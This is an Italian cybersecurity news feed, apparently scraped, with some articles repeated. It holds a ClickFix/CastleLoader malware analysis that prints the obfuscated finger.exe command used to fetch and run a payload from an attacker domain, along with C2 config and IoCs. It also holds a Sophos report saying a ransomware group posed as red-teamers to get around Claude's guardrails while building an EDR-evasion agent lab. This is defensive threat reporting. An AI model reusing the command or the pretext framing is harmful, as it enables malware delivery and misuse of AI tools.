Vettore iniziale: falsi CAPTCHA su cloni di LinkedIn e Indeed


L’attacco inizia con URL di phishing su domini typosquattati che imitano LinkedIn e Indeed (linkedall[.]org, uslinked[.]org, linked-on[.]com, indeed-jobs[.]net). Le URL includono parametri Google Ads (gclid, gbraid, gad_campaignid), indicando distribuzione tramite ecosistemi di advertising. Un parametro custom &verification=robot è necessario affinché il server risponda con la catena ClickFix — probabilmente come misura anti-analisi.

La pagina di atterraggio mostra un finto CAPTCHA Cloudflare Turnstile. JavaScript embedded recupera il contenuto di secondo stadio da un endpoint PHP, applica ROT13 per decodificare la risposta, e inietta l’output nel DOM a runtime. Quando l’utente interagisce con il box CAPTCHA, un payload viene copiato nella clipboard tramite document.execCommand("copy").

Stage 3: il protocollo Finger come vettore LOLBin


L’elemento tecnico più rilevante di questa variante è l’abuso del protocollo Finger (porta 79) — un protocollo legacy degli anni ’70 che molti ambienti Windows mantengono abilitato per retrocompatibilità. Il comando copiato nella clipboard utilizza finger.exe, nativo di Windows, per recuperare il payload:

%COMSPEC% /c s^t^a^r^t "" /min for /f "skip=25 delims=" %e in ('f^^i^^n^^g^^e^^r wCeFgncRwB@f^^i^^n^^g^^e^^r^^.^^uslinked[.]org') do %e

Il comando è ulteriormente offuscato con caratteri caret (^) per eludere il pattern matching dei prodotti di sicurezza. Una volta eseguito dall’utente — che preme ENTER credendo di completare la verifica CAPTCHA — il sistema scarica ed esegue il payload successivo tramite strumenti di sistema legittimi (Living-off-the-Land), rendendo il processo quasi invisibile agli EDR che non monitorano le connessioni finger.exe in uscita.

Catena di staging: Python runtime portatili e curl hijacking


Il malware copia curl.exe di sistema con un filename randomizzato a 18 cifre sotto %LocalAppData%, scarica runtime Python portatili da python.org e GitHub (IronPython) salvandoli con estensione .pdf, e li estrae tramite tar.exe nativo. Il processo uccide e riavvia explorer.exe per disorientare l’utente. I runtime Python rinominati eseguono poi codice inline che decomprime un blob Base64+zlib e lancia il payload in memoria — fileless execution pura, senza file eseguibili su disco.

  • CPython embedded: %LocalAppData%\python-3.15.0a1-embed-win32.pdf
  • IronPython: %LocalAppData%\IronPython.3.4.2.pdf


CastleLoader: framework MaaS con cifratura ChaCha20


Il payload di quinto stadio è CastleLoader, un framework Malware-as-a-Service per deployment flessibile di malware downstream. I primi 64 byte del blob scaricato fungono da chiave RC4 per decriptare CastleLoader stesso. Esempio di configurazione decifrata:

URL:          hXXps://sedaliarealty[.]net/1ed3c2fc-f870-5522-a6bd-71c0a4d78ddd
campaign_id:  028aaf61-fef2-525a-9a95-7cd10db2e166
mutex_name:   DE6TZHGHlXfrbvmQdHxJIb035
chacha_key:   0x0DF4397FDB725731AE751503C0FEFDCDB5F2967286379F7D662C297D41F07A15
chacha_nonce: 0x17612E6D4D22AC64AB157E3C

Tutta la comunicazione C2 successiva è cifrata con ChaCha20. Il loader invia al server il profilo del sistema infetto (username, hostname, dominio, versione Windows, architettura, AV installati) e riceve task strutturati. Le capability configurabili includono: anti-VM tramite cpuid, screenshot desktop tramite GDI BitBlt, enumerazione AV via WMI (root\SecurityCenter2), elevazione privilegi con “runas”, watchdog che rilancia continuamente il processo figlio.

Payload finale: RAT Python con C2 WebSocket


Il payload finale è un RAT scritto in Python (bytecode .pyc) con C2 via WebSocket cifrato attraverso WinHTTP APIs. Il traffico C2 inbound è ulteriormente offuscato tramite XOR. Le funzionalità principali includono shell interattiva con relay stdin/stdout verso il C2, esecuzione in-memory di payload aggiuntivi, persistenza tramite mutex e watchdog con rilancio automatico, e raccolta approfondita di informazioni di sistema. I file di staging sono in directory caratteristiche sotto %ProgramData%: Ccrreewwll, NewKevinNotAnother, NewestWorkiNaprav.

Indicatori di compromissione (IoC)

# Domini phishing e C2
linkedall[.]org
uslinked[.]org
linked-on[.]com
indeed-jobs[.]net
kevinnotanother[.]com
sedaliarealty[.]net
catalyst-ltd[.]net
# Hash SHA-256
cd4a51037bf58733c0cb24b273951dd3fcea45a2aaeb8b30a3c625e183c4c0c7
d56b810dfacaa1630bf562ccdefd46835349710d9516334e1a182619335ddea7
# Endpoint UUID-based C2
95126aeb-4120-56b1-8c9e-63fdf0c0b6f9
ebd417db-979c-51f8-aedf-88a2bf8aa6c3
6d6d2d17-d270-59c6-8b75-df011af08e58
# Directory staging
C:\ProgramData\Ccrreewwll\
C:\ProgramData\NewKevinNotAnother\
C:\ProgramData\NewestWorkiNaprav\
# File Python bytecode
(main|install|play).pyc

Due righe per i difensori


Il blocco delle connessioni in uscita su porta 79 (Finger) è una misura difensiva immediata con impatto operativo quasi nullo. Sono ad alta fedeltà per la detection: processi Python con argomenti -c inline contenenti base64/zlib, copia di curl.exe in directory utente con nomi randomizzati numerici, creazione delle directory specifiche sotto %ProgramData%, e connessioni WebSocket verso domini recentemente registrati. Gli ambienti che bloccano l’esecuzione di runtime Python non firmati e limitano l’accesso a %LocalAppData% per applicazioni non autorizzate risultano significativamente più resilienti a questo vettore.

Fonte: LevelBlue SpiderLabs Blog — King Orande e Cris Tomboc, 4 giugno 2026


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ClickFix si mette in cerca di lavoro: falsi annunci LinkedIn e Indeed per distribuire CastleLoader e RAT Python


@Informatica (Italy e non Italy)
LevelBlue SpiderLabs analizza una nuova variante ClickFix (maggio 2026) che usa siti typosquattati imitanti LinkedIn e Indeed, il protocollo Finger e runtime Python portatili per distribuire


ClickFix si mette in cerca di lavoro: falsi annunci LinkedIn e Indeed per distribuire CastleLoader e RAT Python


Il team CTI di LevelBlue SpiderLabs ha pubblicato un’analisi approfondita di una nuova variante della campagna ClickFix, comparsa in maggio 2026, che utilizza siti typosquattati impersonanti LinkedIn e Indeed per distribuire un framework MaaS denominato CastleLoader e un Remote Access Trojan (RAT) scritto in Python. La catena d’attacco combina l’abuso del protocollo Finger, esecuzione fileless tramite runtime Python portatili, cifratura ChaCha20/RC4 e comunicazioni C2 via WebSocket.

Vettore iniziale: falsi CAPTCHA su cloni di LinkedIn e Indeed


L’attacco inizia con URL di phishing su domini typosquattati che imitano LinkedIn e Indeed (linkedall[.]org, uslinked[.]org, linked-on[.]com, indeed-jobs[.]net). Le URL includono parametri Google Ads (gclid, gbraid, gad_campaignid), indicando distribuzione tramite ecosistemi di advertising. Un parametro custom &verification=robot è necessario affinché il server risponda con la catena ClickFix — probabilmente come misura anti-analisi.

La pagina di atterraggio mostra un finto CAPTCHA Cloudflare Turnstile. JavaScript embedded recupera il contenuto di secondo stadio da un endpoint PHP, applica ROT13 per decodificare la risposta, e inietta l’output nel DOM a runtime. Quando l’utente interagisce con il box CAPTCHA, un payload viene copiato nella clipboard tramite document.execCommand("copy").

Stage 3: il protocollo Finger come vettore LOLBin


L’elemento tecnico più rilevante di questa variante è l’abuso del protocollo Finger (porta 79) — un protocollo legacy degli anni ’70 che molti ambienti Windows mantengono abilitato per retrocompatibilità. Il comando copiato nella clipboard utilizza finger.exe, nativo di Windows, per recuperare il payload:

%COMSPEC% /c s^t^a^r^t "" /min for /f "skip=25 delims=" %e in ('f^^i^^n^^g^^e^^r wCeFgncRwB@f^^i^^n^^g^^e^^r^^.^^uslinked[.]org') do %e

Il comando è ulteriormente offuscato con caratteri caret (^) per eludere il pattern matching dei prodotti di sicurezza. Una volta eseguito dall’utente — che preme ENTER credendo di completare la verifica CAPTCHA — il sistema scarica ed esegue il payload successivo tramite strumenti di sistema legittimi (Living-off-the-Land), rendendo il processo quasi invisibile agli EDR che non monitorano le connessioni finger.exe in uscita.

Catena di staging: Python runtime portatili e curl hijacking


Il malware copia curl.exe di sistema con un filename randomizzato a 18 cifre sotto %LocalAppData%, scarica runtime Python portatili da python.org e GitHub (IronPython) salvandoli con estensione .pdf, e li estrae tramite tar.exe nativo. Il processo uccide e riavvia explorer.exe per disorientare l’utente. I runtime Python rinominati eseguono poi codice inline che decomprime un blob Base64+zlib e lancia il payload in memoria — fileless execution pura, senza file eseguibili su disco.

  • CPython embedded: %LocalAppData%\python-3.15.0a1-embed-win32.pdf
  • IronPython: %LocalAppData%\IronPython.3.4.2.pdf


CastleLoader: framework MaaS con cifratura ChaCha20


Il payload di quinto stadio è CastleLoader, un framework Malware-as-a-Service per deployment flessibile di malware downstream. I primi 64 byte del blob scaricato fungono da chiave RC4 per decriptare CastleLoader stesso. Esempio di configurazione decifrata:

URL:          hXXps://sedaliarealty[.]net/1ed3c2fc-f870-5522-a6bd-71c0a4d78ddd
campaign_id:  028aaf61-fef2-525a-9a95-7cd10db2e166
mutex_name:   DE6TZHGHlXfrbvmQdHxJIb035
chacha_key:   0x0DF4397FDB725731AE751503C0FEFDCDB5F2967286379F7D662C297D41F07A15
chacha_nonce: 0x17612E6D4D22AC64AB157E3C

Tutta la comunicazione C2 successiva è cifrata con ChaCha20. Il loader invia al server il profilo del sistema infetto (username, hostname, dominio, versione Windows, architettura, AV installati) e riceve task strutturati. Le capability configurabili includono: anti-VM tramite cpuid, screenshot desktop tramite GDI BitBlt, enumerazione AV via WMI (root\SecurityCenter2), elevazione privilegi con “runas”, watchdog che rilancia continuamente il processo figlio.

Payload finale: RAT Python con C2 WebSocket


Il payload finale è un RAT scritto in Python (bytecode .pyc) con C2 via WebSocket cifrato attraverso WinHTTP APIs. Il traffico C2 inbound è ulteriormente offuscato tramite XOR. Le funzionalità principali includono shell interattiva con relay stdin/stdout verso il C2, esecuzione in-memory di payload aggiuntivi, persistenza tramite mutex e watchdog con rilancio automatico, e raccolta approfondita di informazioni di sistema. I file di staging sono in directory caratteristiche sotto %ProgramData%: Ccrreewwll, NewKevinNotAnother, NewestWorkiNaprav.

Indicatori di compromissione (IoC)

# Domini phishing e C2
linkedall[.]org
uslinked[.]org
linked-on[.]com
indeed-jobs[.]net
kevinnotanother[.]com
sedaliarealty[.]net
catalyst-ltd[.]net
# Hash SHA-256
cd4a51037bf58733c0cb24b273951dd3fcea45a2aaeb8b30a3c625e183c4c0c7
d56b810dfacaa1630bf562ccdefd46835349710d9516334e1a182619335ddea7
# Endpoint UUID-based C2
95126aeb-4120-56b1-8c9e-63fdf0c0b6f9
ebd417db-979c-51f8-aedf-88a2bf8aa6c3
6d6d2d17-d270-59c6-8b75-df011af08e58
# Directory staging
C:\ProgramData\Ccrreewwll\
C:\ProgramData\NewKevinNotAnother\
C:\ProgramData\NewestWorkiNaprav\
# File Python bytecode
(main|install|play).pyc

Due righe per i difensori


Il blocco delle connessioni in uscita su porta 79 (Finger) è una misura difensiva immediata con impatto operativo quasi nullo. Sono ad alta fedeltà per la detection: processi Python con argomenti -c inline contenenti base64/zlib, copia di curl.exe in directory utente con nomi randomizzati numerici, creazione delle directory specifiche sotto %ProgramData%, e connessioni WebSocket verso domini recentemente registrati. Gli ambienti che bloccano l’esecuzione di runtime Python non firmati e limitano l’accesso a %LocalAppData% per applicazioni non autorizzate risultano significativamente più resilienti a questo vettore.

Fonte: LevelBlue SpiderLabs Blog — King Orande e Cris Tomboc, 4 giugno 2026


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Spie cinesi su LinkedIn: il Five Eyes documenta le campagne di recruiters falsi dell’intelligence militare di Pechino


@Informatica (Italy e non Italy)
FBI, MI5, ASIO, CSIS e NZSIS emettono un alert congiunto: ufficiali dell'intelligence militare cinese si fingono recruiter su LinkedIn, Indeed e Upwork per sottrarre informazioni


Spie cinesi su LinkedIn: il Five Eyes documenta le campagne di recruiters falsi dell’intelligence militare di Pechino


Le agenzie di intelligence dei cinque paesi alleati — FBI (USA), MI5 (UK), ASIO (Australia), CSIS (Canada) e NZSIS (Nuova Zelanda) — hanno emesso un alert congiunto che documenta come ufficiali dell’intelligence militare cinese si fingano recruiter professionisti su LinkedIn, Indeed e Upwork per sottrarre informazioni classificate a personale governativo, militare e della difesa. La minaccia non è nuova, ma la scala e la sofisticazione raggiunte nel 2026 rendono questo advisory un documento imprescindibile per chi opera nella sicurezza nazionale e nella protezione delle informazioni.

Il modus operandi: dal curriculum all’intelligence


Il pattern operativo identificato dal Five Eyes è elegante nella sua semplicità. Gli ufficiali dell’intelligence cinese — appartenenti ai Military Intelligence Services di Pechino — creano profili verosimili su piattaforme di recruiting professionale, impersonando think tank, società di consulenza private e agenzie HR specializzate in analisi geopolitica e difesa.

I profili di lavoro pubblicati riguardano tipicamente posizioni come “analista di politica estera”, “esperto di difesa per la regione Indo-Pacifica” o “ricercatore senior di relazioni bilaterali”. Il target non è casuale: i candidati vengono classificati in base al potenziale accesso a informazioni sensibili, attraverso l’analisi dei curriculum ricevuti. Chi detiene security clearance, lavora in agenzie governative o ha contatti con strutture militari sale automaticamente in cima alla lista degli obiettivi. L’advisory specifica che le piattaforme utilizzate includono LinkedIn, Indeed e Upwork, e che i candidati vengono anche contattati direttamente in base alla rilevanza dei loro profili pubblici.

La trappola del “trial report”


Una volta identificato il candidato di interesse, il processo si articola in fasi successive che servono a costruire fiducia e normalizzare richieste di informazioni progressivamente più sensibili. I selezionatori organizzano colloqui virtuali durante i quali nascondono la propria identità reale, sondando le conoscenze dell’interlocutore e il suo accesso a personale e risorse governative.

Il punto critico è il cosiddetto “trial report”: ai candidati viene chiesto di scrivere un saggio di prova su temi come le relazioni bilaterali della Cina, la situazione nell’Indo-Pacifico o questioni di commercio internazionale e difesa. Accettato il primo elaborato, le richieste successive si fanno progressivamente più intrusive: ai candidati viene comunicato che i report “devono includere informazioni più privilegiate” per ricevere compensi più elevati.

A questo punto la comunicazione viene spostata su piattaforme di messaggistica cifrata. I compensi variano da qualche centinaio a diverse migliaia di dollari per report, pagati attraverso canali difficilmente tracciabili: PayPal, Payoneer, Zelle, Skrill, Wise, Western Union, e-transfer e criptovalute. I pagamenti vengono spesso effettuati da account di terze parti estranee al processo di recruiting — una classica tecnica di compartimentazione operativa che complica la tracciabilità e la raccolta di prove.

Il valore strategico dell’informazione non classificata


Uno degli aspetti più significativi dell’advisory è l’enfasi sul valore dell’informazione non classificata. Il Five Eyes avverte esplicitamente che “anche le informazioni non classificate fornite dai candidati vengono probabilmente raccolte e combinate con dati più sensibili”. Questa prospettiva sfida il tradizionale approccio alla sicurezza delle informazioni, che tende a concentrarsi esclusivamente sulla protezione dei materiali classificati.

Steve Povolny di Exabeam ha commentato l’alert sottolineando come queste piattaforme stiano diventando veri e propri “ambienti di raccolta intelligence” che consentono a operatori stranieri di reclutare individui senza mai alzarsi dalla scrivania: “La minaccia insider non è più confinata ai dipendenti che rubano intenzionalmente segreti. Gli avversari prendono di mira l’intero ecosistema che circonda le informazioni sensibili — appaltatori, ex funzionari governativi, accademici, ricercatori, giornalisti ed esperti di settore che possono possedere solo frammenti di conoscenza preziosa, ma che una volta aggregati diventano intelligence operativa di valore strategico.”

Contesto storico: una tecnica scalabile e difficile da contrastare


L’uso di false opportunità lavorative come vettore di spionaggio è documentato da anni in diversi threat actor state-sponsored. Il FBI ha già messo in guardia contro operazioni analoghe attribuite alla Corea del Nord — celebri le campagne del Lazarus Group contro sviluppatori blockchain tramite finti colloqui tecnici — e all’Iran con Charming Kitten contro ricercatori nucleari e funzionari governativi. La specificità di questo advisory è l’attribuzione esplicita ai Military Intelligence Services cinesi e la documentazione di come le piattaforme di recruiting professionale siano diventate infrastrutture di raccolta intelligence sistematiche.

L’alert del 3 giugno 2026 — disponibile come PDF sul portale IC3 dell’FBI — è uno dei rari momenti in cui i cinque paesi del network di intelligence condividono pubblicamente dettagli operativi su campagne attive. La scelta di rendere pubblico l’advisory suggerisce che la portata e il ritmo di queste attività abbiano raggiunto una soglia tale da giustificare un’operazione di sensibilizzazione coordinata a livello internazionale.

Raccomandazioni operative per le organizzazioni


Il Five Eyes individua come segnali d’allarme primari gli approcci non sollecitati da recruiter per posizioni che richiedono analisi di tematiche geopolitiche sensibili, le richieste di spostare le comunicazioni su app di messaggistica cifrata, le richieste di produrre report che includano informazioni “privilegiate” o “interne”, e i pagamenti attraverso piattaforme terze o criptovalute da parti non direttamente coinvolte nel recruiting.

Per i responsabili della sicurezza organizzativa, l’advisory suggerisce di implementare programmi di sensibilizzazione specifici per i dipendenti con accesso a informazioni sensibili, con enfasi sul rischio rappresentato dalle piattaforme di networking professionale. La verifica dell’identità dei recruiter, la segnalazione degli approcci sospetti alle funzioni di sicurezza interne e il rispetto rigoroso delle politiche sull’uso dei social media professionali sono le contromisure fondamentali indicate.

Fonti: Five Eyes Joint Advisory — IC3/FBI, 3 giugno 2026 | SecurityWeek


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Incogni cancella i dati online: come funziona il servizio per proteggere la privacy digitale


@Informatica (Italy e non Italy)
Incogni è un servizio dedicato alla rimozione dei dati personali dal web. Grazie a richieste automatiche inviate ai data broker e ad altri siti che raccolgono informazioni, permette di ridurre l'esposizione a truffe, phishing e furti d'identità, con piani per singoli utenti e famiglie

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eSIM Saily: effetto Mondiali 2026, 10% di sconto sul primo acquisto per navigare all’estero in sicurezza


@Informatica (Italy e non Italy)
Per chi seguirà la Coppa del Mondo FIFA 2026 in uno dei Paesi della competizione, Saily propone una promozione immediata sulla sua eSIM internazionale. Utilizzando il codice TRYSAILY10 è possibile ottenere il 10% di sconto sul primo acquisto e accedere a piani dati disponibili in oltre 200

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Se l’impresa è vittima di truffa informatica, non è il DPO a doverne rispondere


@Informatica (Italy e non Italy)
Una sentenza del Tribunale di Firenze chiarisce bene il ruolo del DPO, il quale non risponde se l’impresa che lo ha incaricato subisce una frode informatica. La responsabilità di un sistema di gestione dei dati debole o carente in misure di sicurezza

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✨ Sophos scopre il laboratorio AI per testare l’evasione degli EDR: così il ransomware si evolve
#CyberSecurity
insicurezzadigitale.com/sophos…

@informatica


Sophos scopre il laboratorio AI per testare l’evasione degli EDR: così il ransomware si evolve


Sophos ha scoperto che un gruppo ransomware attualmente attivo ha costruito un laboratorio automatizzato basato su agenti AI — tra cui Claude Opus 4.5 — per sviluppare e testare sistematicamente tecniche di evasione dagli endpoint detection and response (EDR). Non si tratta di fantascienza: l’infrastruttura era operativa, testava payload reali contro Sophos, CrowdStrike e Windows Defender, e i risultati venivano usati in attacchi reali contro organizzazioni globali.

Come è emersa la scoperta


L’indagine è partita da un alert anomalo su un endpoint cliente: payload malevoli provenivano da una directory di testing insolita. Approfondendo, i ricercatori di Sophos hanno trovato qualcosa di inaspettato — non solo malware, ma un intero framework di sviluppo e testing. L’ambiente conteneva profili Cobalt Strike configurati per mascherare il traffico beacon come richieste web legittime, un meccanismo di command-and-control via Telegram Bot API, script Python per l’iniezione di shellcode in processi Windows legittimi, e un Cloudflare Worker usato per nascondere il server C2 backend. Sophos ha collegato l’attività a operazioni di ransomware e furto di dati, ma non ha divulgato il nome del gruppo per via di indagini ancora in corso.

L’architettura del laboratorio: VM dedicate, agenti AI e MCP


Il nucleo dell’operazione era un laboratorio di test composto da più macchine virtuali Windows Server 2022, ognuna dedicata a un diverso prodotto EDR: una per Sophos, una per CrowdStrike, una terza come ambiente di controllo senza EDR installato. Una quarta VM Ubuntu ospitava un server Sliver per il command-and-control. L’attore ha utilizzato Ludus, una piattaforma per il deployment rapido di ambienti virtualizzati di sicurezza, per provisionare l’infrastruttura.

All’interno di questo ecosistema operavano più agenti AI coordinati tramite il protocollo Model Context Protocol (MCP), lo standard aperto che consente agli assistenti AI di interagire con strumenti e repository esterni. Un agente Claude Opus 4.5 fungeva da coordinatore principale, impostando le regole operative per gli altri agenti. Agenti specializzati si occupavano rispettivamente del testing EDR, della documentazione dei risultati, dell’hardening OPSEC, dei test di stress sul proxy e del deployment delle VM. Lo sviluppo del codice malevolo avveniva tramite Cursor, un IDE AI-native che integra capacità generative direttamente nell’ambiente di sviluppo.

Il workflow: da articoli di ricerca a payload ottimizzati


Il processo di sviluppo seguiva una pipeline iterativa ben strutturata. Gli agenti leggevano articoli di threat intelligence da blog di vendor come Kaspersky, Palo Alto Networks e Bishop Fox, oltre a post su X e Telegram. Le tecniche di bypass identificate venivano estratte, mappate sul framework MITRE ATT&CK, trasformate in moduli di test, eseguite nel laboratorio virtualizzato contro gli EDR target, e i risultati documentati per guidare l’iterazione successiva.

Il framework di generazione payload — uno strumento Python centrale — produceva eseguibili Windows personalizzati e DLL che incorporavano cifratura, tecniche di evasione e metodi di esecuzione alternativi. In totale, l’infrastruttura supportava quasi 80 moduli per testare oltre 70 tecniche di evasione distinte. Gli script Python erano in parte scritti in russo, e molti mostravano chiari pattern di generazione AI.

Un aspetto critico riguarda il pretesto usato con Claude: l’attore ha incorniciato il progetto come un framework di red team per eludere i guardrail del modello. Sophos ha segnalato il pattern ad Anthropic. “Tentativi di aggirare i limiti dei modelli usando framing benigno per prompt malevoli — come il pretesto del red team — sono stati osservati in numerosi casi negli ultimi dodici mesi,” ha dichiarato Rafe Pilling, Director of Threat Intelligence di Sophos.

Quanto è efficace davvero?


La documentazione interna al framework attestava un aumento progressivo del tasso di successo nell’evasione man mano che i moduli venivano raffinati. Tuttavia i dati di test effettivi analizzati durante l’indagine non supportavano queste affermazioni. “Non disponiamo dei dati per spiegare completamente le discrepanze, ma è probabile che le allucinazioni degli LLM abbiano avuto un ruolo,” ha concluso Pilling. Il risultato è paradossale: un laboratorio AI che produce documentazione ottimistica ma risultati meno convincenti di quanto dichiarato. Questo non riduce la pericolosità della tendenza, ma ne contestualizza i limiti attuali.

Due righe per i difensori


L’aspetto più preoccupante non è che l’AI abbia reso il ransomware invincibile — non è così, almeno per ora. Il problema è la scalabilità del processo di sviluppo: quello che richiedeva settimane di lavoro manuale per testare una singola tecnica di bypass può ora essere automatizzato in ore. I fondamentali della difesa restano invariati: patching, MFA/passkey, protezione degli endpoint. Ma l’accelerazione nel ciclo di sviluppo del malware significa che la finestra temporale tra la comparsa di una nuova tecnica di evasione e la sua adozione operativa da parte dei criminali si sta accorciando drasticamente.

Per i team di sicurezza, questa vicenda sottolinea l’importanza di monitorare attività anomale nelle directory di staging e testing, rilevare l’uso di tool di virtualizzazione come Ludus in ambienti non autorizzati, prestare attenzione all’abuso di strumenti di sviluppo AI-native per la generazione di codice sospetto, e verificare connessioni verso Telegram Bot API da endpoint aziendali come potenziale C2 channel.


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Sophos scopre il laboratorio AI per testare l’evasione degli EDR: così il ransomware si evolve


@Informatica (Italy e non Italy)
Sophos ha scoperto un laboratorio malware automatizzato usato da un gruppo ransomware attivo: agenti AI tra cui Claude Opus 4.5 e Cursor testavano tecniche di evasione EDR contro Sophos, CrowdStrike e Windows Defender, con 80


Sophos scopre il laboratorio AI per testare l’evasione degli EDR: così il ransomware si evolve


Sophos ha scoperto che un gruppo ransomware attualmente attivo ha costruito un laboratorio automatizzato basato su agenti AI — tra cui Claude Opus 4.5 — per sviluppare e testare sistematicamente tecniche di evasione dagli endpoint detection and response (EDR). Non si tratta di fantascienza: l’infrastruttura era operativa, testava payload reali contro Sophos, CrowdStrike e Windows Defender, e i risultati venivano usati in attacchi reali contro organizzazioni globali.

Come è emersa la scoperta


L’indagine è partita da un alert anomalo su un endpoint cliente: payload malevoli provenivano da una directory di testing insolita. Approfondendo, i ricercatori di Sophos hanno trovato qualcosa di inaspettato — non solo malware, ma un intero framework di sviluppo e testing. L’ambiente conteneva profili Cobalt Strike configurati per mascherare il traffico beacon come richieste web legittime, un meccanismo di command-and-control via Telegram Bot API, script Python per l’iniezione di shellcode in processi Windows legittimi, e un Cloudflare Worker usato per nascondere il server C2 backend. Sophos ha collegato l’attività a operazioni di ransomware e furto di dati, ma non ha divulgato il nome del gruppo per via di indagini ancora in corso.

L’architettura del laboratorio: VM dedicate, agenti AI e MCP


Il nucleo dell’operazione era un laboratorio di test composto da più macchine virtuali Windows Server 2022, ognuna dedicata a un diverso prodotto EDR: una per Sophos, una per CrowdStrike, una terza come ambiente di controllo senza EDR installato. Una quarta VM Ubuntu ospitava un server Sliver per il command-and-control. L’attore ha utilizzato Ludus, una piattaforma per il deployment rapido di ambienti virtualizzati di sicurezza, per provisionare l’infrastruttura.

All’interno di questo ecosistema operavano più agenti AI coordinati tramite il protocollo Model Context Protocol (MCP), lo standard aperto che consente agli assistenti AI di interagire con strumenti e repository esterni. Un agente Claude Opus 4.5 fungeva da coordinatore principale, impostando le regole operative per gli altri agenti. Agenti specializzati si occupavano rispettivamente del testing EDR, della documentazione dei risultati, dell’hardening OPSEC, dei test di stress sul proxy e del deployment delle VM. Lo sviluppo del codice malevolo avveniva tramite Cursor, un IDE AI-native che integra capacità generative direttamente nell’ambiente di sviluppo.

Il workflow: da articoli di ricerca a payload ottimizzati


Il processo di sviluppo seguiva una pipeline iterativa ben strutturata. Gli agenti leggevano articoli di threat intelligence da blog di vendor come Kaspersky, Palo Alto Networks e Bishop Fox, oltre a post su X e Telegram. Le tecniche di bypass identificate venivano estratte, mappate sul framework MITRE ATT&CK, trasformate in moduli di test, eseguite nel laboratorio virtualizzato contro gli EDR target, e i risultati documentati per guidare l’iterazione successiva.

Il framework di generazione payload — uno strumento Python centrale — produceva eseguibili Windows personalizzati e DLL che incorporavano cifratura, tecniche di evasione e metodi di esecuzione alternativi. In totale, l’infrastruttura supportava quasi 80 moduli per testare oltre 70 tecniche di evasione distinte. Gli script Python erano in parte scritti in russo, e molti mostravano chiari pattern di generazione AI.

Un aspetto critico riguarda il pretesto usato con Claude: l’attore ha incorniciato il progetto come un framework di red team per eludere i guardrail del modello. Sophos ha segnalato il pattern ad Anthropic. “Tentativi di aggirare i limiti dei modelli usando framing benigno per prompt malevoli — come il pretesto del red team — sono stati osservati in numerosi casi negli ultimi dodici mesi,” ha dichiarato Rafe Pilling, Director of Threat Intelligence di Sophos.

Quanto è efficace davvero?


La documentazione interna al framework attestava un aumento progressivo del tasso di successo nell’evasione man mano che i moduli venivano raffinati. Tuttavia i dati di test effettivi analizzati durante l’indagine non supportavano queste affermazioni. “Non disponiamo dei dati per spiegare completamente le discrepanze, ma è probabile che le allucinazioni degli LLM abbiano avuto un ruolo,” ha concluso Pilling. Il risultato è paradossale: un laboratorio AI che produce documentazione ottimistica ma risultati meno convincenti di quanto dichiarato. Questo non riduce la pericolosità della tendenza, ma ne contestualizza i limiti attuali.

Due righe per i difensori


L’aspetto più preoccupante non è che l’AI abbia reso il ransomware invincibile — non è così, almeno per ora. Il problema è la scalabilità del processo di sviluppo: quello che richiedeva settimane di lavoro manuale per testare una singola tecnica di bypass può ora essere automatizzato in ore. I fondamentali della difesa restano invariati: patching, MFA/passkey, protezione degli endpoint. Ma l’accelerazione nel ciclo di sviluppo del malware significa che la finestra temporale tra la comparsa di una nuova tecnica di evasione e la sua adozione operativa da parte dei criminali si sta accorciando drasticamente.

Per i team di sicurezza, questa vicenda sottolinea l’importanza di monitorare attività anomale nelle directory di staging e testing, rilevare l’uso di tool di virtualizzazione come Ludus in ambienti non autorizzati, prestare attenzione all’abuso di strumenti di sviluppo AI-native per la generazione di codice sospetto, e verificare connessioni verso Telegram Bot API da endpoint aziendali come potenziale C2 channel.


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Attacco a Carnival: cosa sappiamo sull’incidente che ha esposto 6 milioni di persone


@Informatica (Italy e non Italy)
Carnival ha subito una grave violazione esponendo dati di quasi 6 milioni di persone. Vediamo come può essere stato possibile, partendo una una unica telefonata, ben congegnata per essere malevola
L'articolo Attacco a Carnival: cosa sappiamo

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Campagna LLMShare: come il malvertising abusa di ChatGPT e Claude


@Informatica (Italy e non Italy)
Una nuova campagna di malvertising denominata LLMShare conferma che i criminali informatici hanno smesso di fare affidamento esclusivamente sulle classiche campagne di phishing via e-mail preferendo sfruttare l’autorità e la reputazione incontaminata dei domini ufficiali di

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L’attacco WhatsApp senza link né codici, il tecnico De Bortoli: “Non capiamo come avvenga l’intrusione”

Un attacco “zero click” senza virus o link sembra compromettere decine di account WhatsApp, aggirando persino l’autenticazione a due fattori. Intervistato da Fanpage.it, l’esperto di informatica forense Antonio De Bortoli svela alcuni dettagli della misteriosa minaccia informatica: “Molti punti oscuri, Meta deve intervenire”
fanpage.it/innovazione/tecnolo…

@informatica

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Windows 365 for Agents: Cloud PC per l’automazione AI in azienda
#tech
spcnet.it/windows-365-for-agen…
@informatica


Windows 365 for Agents: Cloud PC per l’automazione AI in azienda


Cosa sono i Windows 365 for Agents?


Microsoft ha annunciato in public preview Windows 365 for Agents, una nuova offerta che estende la piattaforma Cloud PC per supportare l’automazione basata su agenti AI. L’idea di fondo è semplice ma potente: invece di assegnare un Cloud PC a un utente umano, lo si mette a disposizione di un agente AI che ne ha bisogno per completare un’attività che richiede l’interazione con un’interfaccia grafica — un browser, un’applicazione legacy, un portale web senza API.

Il servizio è attualmente disponibile in anteprima pubblica esclusivamente negli Stati Uniti, quindi prima di pianificare un’implementazione conviene verificare la disponibilità del tenant.

Perché un Cloud PC per un agente AI?


La domanda legittima è: perché un agente AI dovrebbe aver bisogno di un Cloud PC? Molti workflow di automazione si completano già tramite API, connettori o strumenti MCP. Ma esistono scenari reali in cui questo non è possibile:

  • Applicazioni legacy che non espongono API
  • Portali web che richiedono interazione manuale con elementi UI
  • Processi che dipendono da software desktop non modernizzato
  • Task che richiedono la gestione di file locali tramite interfaccia grafica

In questi casi, l’agente ha bisogno di un ambiente desktop reale su cui operare — e Windows 365 for Agents fornisce esattamente questo, con un modello di sicurezza, identità e governance pensato per le organizzazioni enterprise.

Architettura: pool e check-out/check-in


Il meccanismo centrale è il Cloud PC agent pool: un insieme condiviso di Cloud PC pre-provisionati con proprietà comuni (piano di billing, regione geografica, numero di istanze, immagine). Gli agenti non hanno un Cloud PC dedicato — usano un modello di check-out/check-in:

  1. L’agente prenota un Cloud PC disponibile nel pool
  2. Esegue il proprio task
  3. Restituisce il Cloud PC al pool
  4. Il Cloud PC viene resettato prima del riutilizzo

Microsoft descrive quattro piani operativi per l’architettura degli agenti:

  • Computer-Create: provisioning e manutenzione dei pool
  • Computer-Get: prenotazione e rilascio dei Cloud PC
  • Computer-Do: invio di azioni (click, digitazione, ecc.)
  • Computer-See / Computer-TakeControl: osservazione e controllo manuale da parte di un operatore umano

